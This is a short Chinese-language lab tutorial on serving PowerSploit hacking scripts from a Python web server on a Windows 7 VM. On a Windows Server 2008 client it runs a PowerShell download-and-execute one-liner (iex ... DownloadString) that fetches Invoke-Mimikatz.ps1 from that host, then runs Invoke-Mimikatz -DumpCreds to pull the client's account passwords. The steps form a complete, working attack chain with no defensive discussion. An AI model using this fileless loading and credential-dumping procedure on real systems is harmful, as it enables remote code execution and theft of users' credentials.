Windows系统之搭建powershell脚本站点

• 实验环境

服务器端：Windows 7(python 3.7.2)

客户端：Windows server 2008

这里自动获取IP地址

 

• 实验步骤

1.从https://github.com/PowerShellMafia/PowerSploit下载黑客脚本并解压保存在服务器端（Windows7）.

2.在Win7虚拟机Cmd下，键入cd命令切换到黑客脚本所在目录.

           

3.执行命令：python -m http.server 80.

利用python搭建web服务站点（开放了80端口），此时任意主机均可连接.

           

4.测试Web服务站点是否搭建成功.

           

 

5.在客户端加载并执行服务器端脚本.

在客户端（Windows Server 2008）的PowerShell中输入： iex(New-                                  Object Net.WebClient).DownloadString(‘http://192.168.19.129/Exfiltration/Invoke-Mimikatz.ps1’)

           

6.再次输入Invoke-Mimikatz -DumpCreds，便可得到客户端的账号和密码.